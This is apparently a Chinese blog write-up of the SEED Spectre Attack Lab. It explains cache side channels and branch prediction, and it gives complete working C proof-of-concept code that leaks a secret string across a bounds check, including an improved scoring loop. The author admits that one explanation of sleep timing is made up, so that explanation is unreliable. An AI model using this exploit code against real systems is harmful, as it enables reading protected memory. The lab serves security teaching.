SeedLab——Spectre Attack Lab

SeedLab——Spectre Attack Lab

Introduction

Spectre Attack

Spectre攻击是一种基于侧信道漏洞的攻击方法,它于2018年首次公开披露。该攻击利用了现代处理器中存在的一种设计缺陷,使得恶意程序可以访问其本不应该具备权限的内存区域。

Spectre攻击的关键思想是利用处理器的乱序执行和分支预测机制。处理器为了提高执行效率,会在遇到分支指令时预测分支的结果,并在预测的分支路径上继续执行指令。如果预测正确,程序会得到加速;如果预测错误,处理器会丢弃错误预测的指令并重新执行。

Spectre攻击利用了这种乱序执行和分支预测的行为。攻击者通过精心构造的恶意程序,利用处理器的分支预测错误来访问其本应该受限的内存区域。攻击程序会在正常情况下无法执行的分支路径上放置一些恶意代码,然后通过观察处理器的缓存访问时间来推断出受限内存的内容。这种侧信道攻击的原理是,不同的内存访问会导致不同的缓存状态,而攻击者可以通过测量缓存访问时间来推断出密切相关的数据。

What is Side-channel Attacks?

侧信道攻击(Side-channel Attacks)是一种利用计算系统在执行过程中产生的隐含信息泄露来推断出敏感数据的攻击方法。传统的安全防护方法通常关注于保护数据存储和传输的过程,而侧信道攻击则利用了系统在处理数据时产生的其他非直接通信渠道,如时间、功耗、电磁辐射等,来获取有关敏感数据的信息。

侧信道攻击的基本原理是通过观察计算系统的非意图泄露的信息,来推断出系统内部的敏感数据。这些信息可能包括执行时间、电流消耗、电磁辐射等。攻击者可以通过分析这些侧信道信息,从而获得有关密钥、密码、加密算法或其他敏感数据的信息,而无需直接攻破加密算法本身。

本实验使用的处理器

image-20231217175914978

Tasks 1 and 2: Side Channel Attacks via CPU Caches

Meltdown和Spectre攻击利用CPU高速缓存作为侧信道来窃取受保护的秘密信息。这种侧信道攻击所使用的技术被称为FLUSH+RELOAD。

CPU缓存是计算机CPU使用的一种硬件缓存,用于减少从主内存访问数据的平均成本(时间或能量)。从CPU缓存访问数据比从主内存访问要快得多。当数据从主内存获取时,它们通常被CPU缓存,因此如果再次使用相同的数据,访问时间会更快。因此,当CPU需要访问某些数据时,它首先查看自己的缓存。如果数据存在于缓存中(这称为缓存命中),则直接从缓存中获取。如果数据不存在于缓存中(这称为缓存未命中),CPU将去主内存获取数据。后一种情况下所花费的时间要长得多。大多数现代CPU都具有CPU缓存。

image-20231217171942051

Task 1: Reading from Cache versus from Memory

这段代码通过测量访问不同数组元素的时间来利用时间侧信道。通过观察访问时间的差异,可以推断出某些数组元素是否在CPU缓存中。这种差异可以被攻击者用于获取敏感信息,因为缓存中的数据访问时间明显更快。

下面这段代码演示了侧信道攻击中的缓存侧信道信息。register uint64_t表示将time1time2声明为64位无符号整数类型,并使用register关键字提示编译器将这些变量存储在寄存器中,以提高访问速度。volatile关键字用于告诉编译器不要对该变量进行优化,以避免将变量的值缓存在寄存器或优化访问,而是直接从内存地址读取变量。在侧信道攻击中,我们需要对数组元素的读取操作保证实际的内存访问,因为在攻击中这个变量的值可能被别的进程改变,如果使用volatile关键字就会导致编译器对该变量进行访问优化将其存储在寄存器中,这样攻击进程就无法准确获取到该变量的值。

首先对array写操作,将其存入cache,之后_mm_clflush(&array[i * 4096]);使用_mm_clflush函数刷新数组缓存,确保后续访问时需要从主内存中读取。array[3 * 4096] = 100;array[7 * 4096] = 200;访问和修改数组中的一些元素。因此,包含这两个元素的页面将被缓存。

使用__rdtscp函数获取当前的CPU周期计数,并将结果存储在time1中。然后访问内存。再次使用__rdtscp函数获取当前的CPU周期计数,并计算两次调用之间的差值,即访问数组元素的时间。通过测量访问不同数组元素的时间来推断出某些数组元素是否在CPU缓存中。通过观察访问时间的差异,可以推断出缓存中的数据。这种差异可以被攻击者用于获取敏感信息,因为缓存中的数据访问时间明显更快。

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

uint8_t array[10 * 4096];

int main(int argc, const char **argv)
{
    int junk = 0;
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    int i;
    // Initialize the array
    for (i = 0; i < 10; i++)
        array[i * 4096] = 1;
    // FLUSH the array from the CPU cache
    for (i = 0; i < 10; i++)
        _mm_clflush(&array[i * 4096]);
    // Access some of the array items
    array[3 * 4096] = 100;
    array[7 * 4096] = 200;
    for (i = 0; i < 10; i++)
    {
        addr = &array[i * 4096];
        time1 = __rdtscp(&junk);
        junk = *addr;
        time2 = __rdtscp(&junk) - time1;
        printf("Access time for array[%d*4096]: %d CPU cycles\n", i, (int)time2);
    }
    return 0;
}

编译运行之后结果如下

image-20231217173004930

Task 2: Using Cache as a Side Channel

利用侧信道攻击从受害者函数中提取一个作为索引的秘密值。假设有一个受害者函数,它使用一个秘密值作为索引从数组中加载一些值。同时假设无法从外部访问该秘密值。我们需要利用侧信道来获取这个秘密值。步骤如下:

  1. FLUSH:将整个数组从缓存中清除,确保数组不在缓存中。
  2. 调用受害者函数,该函数根据秘密值访问数组的一个元素。这个操作导致相应的数组元素被缓存。
  3. RELOAD:重新加载整个数组,并测量重新加载每个元素所需的时间。如果某个特定元素的加载时间很快,那么很可能该元素已经在缓存中。这个元素必然是受害者函数访问的元素。因此,我们可以推断出秘密值是什么。

image-20231217173916461

攻击示例代码如下。使用了FLUSH+RELOAD技术来找出一个包含在变量secret中的一个字节的秘密值。统计访问时间,小于某个阈值则说明在缓存中,这里设置的是80,可以视情况更改。

由于一个字节的秘密值有256个可能的取值,我们需要将每个值映射到数组的一个元素。这里使用了一个大小为256*4096字节的数组。在RELOAD步骤中使用的每个元素是array[k*4096]。由于4096大于典型的缓存块大小(64字节),所以不会有两个不同的元素array[i*4096]和array[j*4096]位于同一个缓存块中。

为了解决array[0*4096]可能与相邻内存中的变量位于同一个缓存块的问题,我们避免在FLUSH+RELOAD方法中使用array[0*4096](对于其他索引k,array[k*4096]没有问题)。为了在程序中保持一致,我们使用array[k*4096 + DELTA],其中DELTA被定义为常数1024。

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

uint8_t array[256 * 4096];
int temp;
unsigned char secret = 94;
/* cache hit time threshold assumed*/
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

void victim()
{
    temp = array[secret * 4096 + DELTA];
}
void flushSideChannel()
{
    int i;
    // Write to array to bring it to RAM to prevent Copy-on-write
    for (i = 0; i < 256; i++)
        array[i * 4096 + DELTA] = 1;
    // flush the values of the array from cache
    for (i = 0; i < 256; i++)
        _mm_clflush(&array[i * 4096 + DELTA]);
}

void reloadSideChannel()
{
    int junk = 0;
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    int i;
    for (i = 0; i < 256; i++)
    {
        addr = &array[i * 4096 + DELTA];
        time1 = __rdtscp(&junk);
        junk = *addr;
        time2 = __rdtscp(&junk) - time1;
        if (time2 <= CACHE_HIT_THRESHOLD)
        {
            printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
            printf("The Secret = %d.\n", i);
        }
    }
}

int main(int argc, const char **argv)
{
    flushSideChannel();
    victim();
    reloadSideChannel();
    return (0);
}

编译运行,能够得到秘密信息为94。

image-20231217180004183

Task 3: Out-of-Order Execution and Branch Prediction

Out-Of-Order Execution

乱序执行(out-of-order execution)是现代计算机处理器中的一种执行方式。在传统的顺序执行中,指令按照程序顺序依次执行。而在乱序执行中,处理器可以根据指令之间的依赖关系和可用性,灵活地重新排序指令的执行顺序。

乱序执行的目的是提高指令级并行度和整体性能。当某个指令的执行依赖于其他指令的结果时,传统的顺序执行可能会导致等待时间,浪费处理器的执行资源。而乱序执行可以在等待某个指令结果时,继续执行其他不依赖于该结果的指令,从而提高处理器的利用率和执行效率。乱序执行需要处理器具备复杂的硬件和逻辑支持。处理器需要准确地追踪指令之间的依赖关系,并通过重排序和数据预取等技术来实现乱序执行。这样可以最大程度地利用处理器的执行资源,提高指令的并行度,加快程序的执行速度。

需要注意的是,乱序执行并不改变程序的语义,即程序的执行结果与顺序执行相同。乱序执行仅仅是在指令级别上对执行顺序进行了优化,以提高处理器的效率和性能。

比如下面这一小段代码。从CPU外部观察,第三行的语句可能执行也可能不执行。然而,如果我们深入到CPU内部,从微体系结构级别观察执行顺序,这个陈述就不完全正确了。由于乱序执行机制,我们会发现即使x的值大于size,第3行可能会成功执行。

data = 0;
if (x < size) {
    data = data + 5;
}

在上面的代码示例中,在微体系结构级别上,第2行涉及两个操作:从内存中加载size的值,并将其与x进行比较。如果size不在CPU缓存中,读取该值可能需要数百个CPU时钟周期。现代CPU不会闲置,它会尝试预测比较的结果,并基于估计进行分支的推测性执行。在进行乱序执行之前,CPU存储其当前状态和寄存器的值。当size的值最终到达时,CPU将检查实际结果。如果预测是正确的,推测性执行就会提交,并且会有显著的性能提升。如果预测错误,CPU将恢复到保存的状态,因此乱序执行产生的所有结果都将被丢弃,就像从未发生过一样。这就是为什么从外部看,我们认为第3行从未执行过。

image-20231217181111827

The Experiment

攻击示例代码如下,根据具体情况调整阈值CACHE_HIT_THRESHOLD的大小即可。

reloadSideChannel函数用于重新加载缓存。它使用_mm_clflush函数将array中的所有值从缓存中清除,并通过循环访问array中的元素来测量访问每个元素所需的时间。如果访问时间小于等于CACHE_HIT_THRESHOLD,则表示相应的元素在缓存中,这意味着敏感数据被访问。

在给定的代码中,循环调用victim函数10次的目的是为了训练CPU执行victim函数内部的true分支。在victim函数中,如果传递给x的值小于size,则会执行true分支,将array中的值存储到temp变量中。通过循环调用victim函数,并逐渐增加传递给victim函数的参数值,可以让CPU在执行过程中观察到大量的true分支执行。这样,CPU会记录下这种模式,并预测在未来的执行中,当x小于size时,会选择执行true分支。

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

#define CACHE_HIT_THRESHOLD (200)
#define DELTA 1024

int size = 10;
uint8_t array[256 * 4096];
uint8_t temp = 0;

void flushSideChannel()
{
    int i;

    // Write to array to bring it to RAM to prevent Copy-on-write
    for (i = 0; i < 256; i++)
        array[i * 4096 + DELTA] = 1;

    // flush the values of the array from cache
    for (i = 0; i < 256; i++)
        _mm_clflush(&array[i * 4096 + DELTA]);
}

void reloadSideChannel()
{
    int junk = 0;
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    int i;
    for (i = 0; i < 256; i++)
    {
        addr = &array[i * 4096 + DELTA];
        time1 = __rdtscp(&junk);
        junk = *addr;
        time2 = __rdtscp(&junk) - time1;
        if (time2 <= CACHE_HIT_THRESHOLD)
        {
            printf("array[%d*4096 + %d] is in cache.%d\n", i, DELTA, (int)time2);
            printf("The Secret = %d.\n", i);
        }
    }
}

void victim(size_t x)
{
    if (x < size)
    {
        temp = array[x * 4096 + DELTA];
    }
}

int main()
{
    int i;

    // FLUSH the probing array
    flushSideChannel();

    // Train the CPU to take the true branch inside victim()
    for (i = 0; i < 10; i++)
    {
        victim(i);
    }

    // Exploit the out-of-order execution
    _mm_clflush(&size);
    for (i = 0; i < 256; i++)
        _mm_clflush(&array[i * 4096 + DELTA]);
    victim(97);

    // RELOAD the probing array
    reloadSideChannel();

    return (0);
}

Task 3

  1. 当将97传递给victim()函数时,请观察是否执行了标有➁的那行代码。根据代码的描述,这行代码应该是false分支的代码。在CPU外这行代码未被执行,但是由于乱序执行机制这行代码在CPU内部这行代码被执行过了,但是由于是false分支因此结果被放弃了。
  2. 注释掉标有✰的那行代码并再次执行程序。观察结果并解释您的观察。通过注释掉这行代码,缓存没有正确地清除,可能因为缓存噪音较大导致攻击失败。
  3. 将标有➃的那行代码替换为victim(i + 20)并再次运行代码。解释您的观察结果。通过将参数修改为i + 20,您改变了victim()函数的输入,每次都执行falss分支,导致CPU倾向于执行false分支而不执行true分支了,所以攻击失败。

Task 4: The Spectre Attack

从之前的任务中我们可以看到,即使条件为假,我们也可以让CPU执行if语句的true分支。如果这种乱序执行没有造成任何可见的效果,那就没有问题。然而,大多数具有这个特性的CPU并不会清除缓存,因此乱序执行的一些痕迹会留下来。Spectre攻击利用这些痕迹来窃取受保护的秘密信息。

这些秘密信息可以是另一个进程中的数据,也可以是同一进程中的数据。如果秘密数据在另一个进程中,硬件级别的进程隔离可以防止一个进程从另一个进程中窃取数据。如果数据在同一进程中,保护通常是通过软件实现的,例如沙箱机制。Spectre攻击可以针对这两种类型的秘密发起。然而,从另一个进程中窃取数据要比从同一进程中窃取数据困难得多。为了简化起见,本实验只关注从同一进程中窃取数据的情况。

The Setup for the Experiment

image-20231217183225701

在这个设置中,有两种类型的区域:受限区域和非受限区域。通过下面描述的沙箱函数中实现的条件语句来实现限制。它根据条件限制了对特定区域的访问。只有当用户提供的x值在允许的范围内时,沙箱函数才会返回相应的值。这样可以确保受限区域的内容不会被泄露给用户。

unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
// Sandbox Function
uint8_t restrictedAccess(size_t x)
{
    if (x <= bound_upper && x >= bound_lower) {
        return buffer[x];
    } else {
        return 0;
    }
}

在受限区域中存在一个秘密值(可能在缓冲区的上方或下方),攻击者知道秘密值的地址,但攻击者无法直接访问保存秘密值的内存。唯一访问秘密值的方式是通过上述的沙箱函数。根据前面的部分,我们已经了解到,即使在x大于缓冲区大小时,true分支永远不会被执行,但在微架构层面上,它可以被执行,并且当执行被还原时会留下一些痕迹。

The Program Used in the Experiment

攻击代码如下所示。spectreAttack() 函数是利用 Spectre 攻击的关键部分。首先,通过多次调用 restrictedAccess() 函数来训练 CPU 执行该函数的真分支。然后,通过执行 _mm_clflush() 函数将受限区域的上界、下界和数组的值从缓存中刷新出去。接下来,通过一个循环来增加一些延迟。最后,调用 restrictedAccess() 函数,并将超出受限区域的索引值作为参数传递。由于 CPU 的乱序执行特性,即使索引超出了受限区域,仍然可能执行真分支,并在侧信道中留下一些痕迹。

main() 函数中,首先调用 flushSideChannel() 函数先将array数组写入缓存,之后刷新cache来准备侧信道攻击。通过size_t index_beyond = (size_t)(secret - (char *)buffer)计算出秘密字符串第一个元素相对于缓冲区buffer的偏移量,并将其作为参数传递给 spectreAttack() 函数,攻击过程尝试访问buffer[index_beyond],虽然被沙箱函数限制了,但是访问的内容由于乱序执行机制被写入告诉缓存,因此可以通过侧信道攻击得到秘密信息在cache的位置。

最后,调用 reloadSideChannel() 函数来进行侧信道攻击,检查数组的值是否在缓存中,从而推断出秘密字符串的一部分。

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};
char *secret = "Some Secret Value";
uint8_t array[256 * 4096];

#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

// Sandbox Function
uint8_t restrictedAccess(size_t x)
{
    if (x <= bound_upper && x >= bound_lower)
    {
        return buffer[x];
    }
    else
    {
        return 0;
    }
}

void flushSideChannel()
{
    int i;
    // Write to array to bring it to RAM to prevent Copy-on-write
    for (i = 0; i < 256; i++)
        array[i * 4096 + DELTA] = 1;
    // flush the values of the array from cache
    for (i = 0; i < 256; i++)
        _mm_clflush(&array[i * 4096 + DELTA]);
}

void reloadSideChannel()
{
    int junk = 0;
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    int i;
    for (i = 0; i < 256; i++)
    {
        addr = &array[i * 4096 + DELTA];
        time1 = __rdtscp(&junk);
        junk = *addr;
        time2 = __rdtscp(&junk) - time1;
        if (time2 <= CACHE_HIT_THRESHOLD)
        {
            printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
            printf("The Secret = %d(%c).\n", i, i);
        }
    }
}
void spectreAttack(size_t index_beyond)
{
    int i;
    uint8_t s;
    volatile int z;
    // Train the CPU to take the true branch inside restrictedAccess().
    for (i = 0; i < 10; i++)
    {
        restrictedAccess(i);
    }
    // Flush bound_upper, bound_lower, and array[] from the cache.
    _mm_clflush(&bound_upper);
    _mm_clflush(&bound_lower);
    for (i = 0; i < 256; i++)
    {
        _mm_clflush(&array[i * 4096 + DELTA]);
    }
    for (z = 0; z < 100; z++)
    {
    }
    // Ask restrictedAccess() to return the secret in out-of-order execution.
    s = restrictedAccess(index_beyond);
    array[s * 4096 + DELTA] += 88;
}

int main()
{
    flushSideChannel();
    size_t index_beyond = (size_t)(secret - (char *)buffer);
    printf("secret: %p \n", secret);
    printf("buffer: %p \n", buffer);
    printf("index of secret (out of bound): %ld \n", index_beyond);
    spectreAttack(index_beyond);
    reloadSideChannel();
    return (0);
}

编译运行代码,得到秘密字符串第一个元素为S。

image-20231217190600476

修改偏移量size_t index_beyond = (size_t)(secret - (char *)buffer + 2),得到秘密字符串第三个元素为m。

image-20231217190646022

同理,可以推断出整个秘密字符串。

Task 5: Improve the Attack Accuracy

在之前的任务中,可能观察到结果存在一些噪音,并且结果并不总是准确的。这是因为CPU有时会加载额外的值到缓存中,以期望在稍后的某个时刻使用,或者阈值不是非常准确。缓存中的这些噪音可能会影响我们攻击的结果。因此,我们需要多次执行攻击;而不是手动执行,我们可以使用以下代码自动执行任务。

创建一个大小为256的分数数组,每个可能的秘密值对应一个元素。然后我们多次运行攻击。每次攻击,如果我们的攻击程序判断k是秘密信息(这个结果可能是错误的),我们就将scores[k]加1。在运行多次攻击后,我们使用具有最高分数的k值作为我们最终对秘密的估计值。这将产生比单次运行基于的估计更可靠的估计。以下是修改后的代码示例。

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>

unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};
uint8_t temp = 0;
char *secret = "Some Secret Value";
uint8_t array[256 * 4096];

#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

// Sandbox Function
uint8_t restrictedAccess(size_t x)
{
    if (x <= bound_upper && x >= bound_lower)
    {
        return buffer[x];
    }
    else
    {
        return 0;
    }
}

void flushSideChannel()
{
    int i;
    // Write to array to bring it to RAM to prevent Copy-on-write
    for (i = 0; i < 256; i++)
        array[i * 4096 + DELTA] = 1;
    // flush the values of the array from cache
    for (i = 0; i < 256; i++)
        _mm_clflush(&array[i * 4096 + DELTA]);
}

static int scores[256];
void reloadSideChannelImproved()
{
    int i;
    volatile uint8_t *addr;
    register uint64_t time1, time2;
    int junk = 0;
    for (i = 0; i < 256; i++)
    {
        addr = &array[i * 4096 + DELTA];
        time1 = __rdtscp(&junk);
        junk = *addr;
        time2 = __rdtscp(&junk) - time1;
        if (time2 <= CACHE_HIT_THRESHOLD)
            scores[i]++; /* if cache hit, add 1 for this value */
    }
}

void spectreAttack(size_t index_beyond)
{
    int i;
    uint8_t s;
    volatile int z;

    for (i = 0; i < 256; i++)
    {
        _mm_clflush(&array[i * 4096 + DELTA]);
    }

    // Train the CPU to take the true branch inside victim().
    for (i = 0; i < 10; i++)
    {
        restrictedAccess(i);
    }

    // Flush bound_upper, bound_lower, and array[] from the cache.
    _mm_clflush(&bound_upper);
    _mm_clflush(&bound_lower);
    for (i = 0; i < 256; i++)
    {
        _mm_clflush(&array[i * 4096 + DELTA]);
    }
    for (z = 0; z < 100; z++)
    {
    }
    //
    // Ask victim() to return the secret in out-of-order execution.
    s = restrictedAccess(index_beyond);
    array[s * 4096 + DELTA] += 88;
}

int main()
{
    int i;
    uint8_t s;
    size_t index_beyond = (size_t)(secret - (char *)buffer);

    flushSideChannel();
    for (i = 0; i < 256; i++)
        scores[i] = 0;

    for (i = 0; i < 1000; i++)
    {
        printf("*****\n"); // This seemly "useless" line is necessary for the attack to succeed
        spectreAttack(index_beyond);
        usleep(10);
        reloadSideChannelImproved();
    }

    int max = 0;
    for (i = 0; i < 256; i++)
    {
        if (scores[max] < scores[i])
            max = i;
    }

    printf("Reading secret value at index %ld\n", index_beyond);
    printf("The secret value is %d(%c)\n", max, max);
    printf("The number of hits is %d\n", scores[max]);
    return (0);
}

Question

1、观察到运行上述代码时,最高分数很可能是 scores[0]。请找出原因,并修复上面的代码,以便打印出实际的秘密值(不是零)。

restrictedAccess访问越界时返回值为0,则自然0的得分最高。因此可以修改restrictedAccess函数的返回值为-1并修改DELTA为4096防止数组越界。这样虽然有时能正确预测,但是有些情况下会返回255的错误答案,这是因为restrictedAccess的返回类型为uint8_t,整数溢出了,所以修改restrictedAccess的返回值和spectreAttack中的参数s的类型为int即可。能够正确取值,如下。

image-20231217194419673

2、代码中的第➀行似乎是无用的,但根据我们在 SEED Ubuntu 20.04 上的经验,如果没有这行代码,攻击将无法成功。在 SEED Ubuntu 16.04 的虚拟机上,不需要这行代码。我们尚未找到确切的原因,因此如果你能找到原因,你可能会得到额外的加分。请分别运行带有和不带有这行代码的程序,并描述你的观察结果。

我在使用Intel(R) Xeon(R) Platinum 8255C CPU @ 2.50GHz处理器的Linux VM-8-6-centos的操作系统上没有发现这个问题,存在和不存在均可以攻击成功。

3、代码中的第➁行使程序休眠了10微秒。程序休眠的时间长短会影响攻击的成功率。请尝试几个其他的值,并描述你的观察结果。

休眠10微秒,命中数33

image-20231217195135914

100微秒,命中数84

image-20231217195552990

1000微秒,命中数114

image-20231217195446574

10000微秒,命中数均为0

image-20231217195352975

较短的休眠时间虽然使得攻击速度变快了,但较短的 usleep 时间可能导致乱序执行和指令重排的影响更加显著,导致缓存侧信道的观察结果不稳定,从而使命中数下降。(乱说的)

乱序执行的结果并不是无限期保留的。处理器会设置一些限制来确保乱序执行的结果在一定时间内被放弃,以避免对系统的影响过大。如果休眠时间过长,那么处理器可能会在攻击者观察前完成秘密值缓存的读取或者缓存中的数据可能已经被替换掉。

Task 6: Steal the Entire Secret String

要输出完整的秘密字符串,则修改代码如下,把攻击过程写入一个循环即可。(注意,不同系统或者不同处理器结果可能不一样,需要根据具体情况修改)

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>

unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};
uint8_t temp = 0;
char *secret = "Some Secret Value";
uint8_t array[256 * 4096];

#define CACHE_HIT_THRESHOLD (80)
#define DELTA 4096

// Sandbox Function
int restrictedAccess(size_t x)
{
    if (x <= bound_upper && x >= bound_lower)
    {
        return buffer[x];
    }
    else
    {
        return -1;
    }
}

void flushSideChannel()
{
    int i;
    // Write to array to bring it to RAM to prevent Copy-on-write
    for (i = 0; i < 256; i++)
        array[i * 4096 + DELTA] = 1;
    // flush the values of the array from cache
    for (i = 0; i < 256; i++)
        _mm_clflush(&array[i * 4096 + DELTA]);
}

static int scores[256];
void reloadSideChannelImproved()
{
    int i;
    volatile uint8_t *addr;
    register uint64_t time1, time2;
    int junk = 0;
    for (i = 0; i < 256; i++)
    {
        addr = &array[i * 4096 + DELTA];
        time1 = __rdtscp(&junk);
        junk = *addr;
        time2 = __rdtscp(&junk) - time1;
        if (time2 <= CACHE_HIT_THRESHOLD)
            scores[i]++; /* if cache hit, add 1 for this value */
    }
}

void spectreAttack(size_t index_beyond)
{
    int i;
    int s;
    volatile int z;

    for (i = 0; i < 256; i++)
    {
        _mm_clflush(&array[i * 4096 + DELTA]);
    }

    // Train the CPU to take the true branch inside victim().
    for (i = 0; i < 10; i++)
    {
        restrictedAccess(i);
    }

    // Flush bound_upper, bound_lower, and array[] from the cache.
    _mm_clflush(&bound_upper);
    _mm_clflush(&bound_lower);
    for (i = 0; i < 256; i++)
    {
        _mm_clflush(&array[i * 4096 + DELTA]);
    }
    for (z = 0; z < 100; z++)
    {
    }
    //
    // Ask victim() to return the secret in out-of-order execution.
    s = restrictedAccess(index_beyond);
    array[s * 4096 + DELTA] += 88;
}

int main()
{
    int i;
    uint8_t s;
    // size_t index_beyond = (size_t)(secret - (char *)buffer);
    int j = 0;
    for (j = 0; j < 17; j++)
    {
        size_t index_beyond = (size_t)(secret - (char *)buffer + j);
        flushSideChannel();
        for (i = 0; i < 256; i++)
            scores[i] = 0;
        for (i = 0; i < 1000; i++)
        {
            // printf("*****\n"); // This seemly "useless" line is necessary for the attack to succeed
            spectreAttack(index_beyond);
            usleep(1);
            reloadSideChannelImproved();
        }

        int max = 0;
        for (i = 0; i < 256; i++)
        {
            if (scores[max] < scores[i])
                max = i;
        }
        printf("%c", max);
    }
    printf("\n");

    // printf("Reading secret value at index %ld\n", index_beyond);
    // printf("The secret value is %d(%c)\n", max, max);
    // printf("The number of hits is %d\n", scores[max]);
    return (0);
}

编译运行,结果如下

image-20231217202349406

------本页内容已结束,喜欢请分享------

文章作者
能不能吃完饭再说
隐私政策
PrivacyPolicy
用户协议
UseGenerator
许可协议
NC-SA 4.0


© 版权声明
THE END
喜欢就支持一下吧
点赞23赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片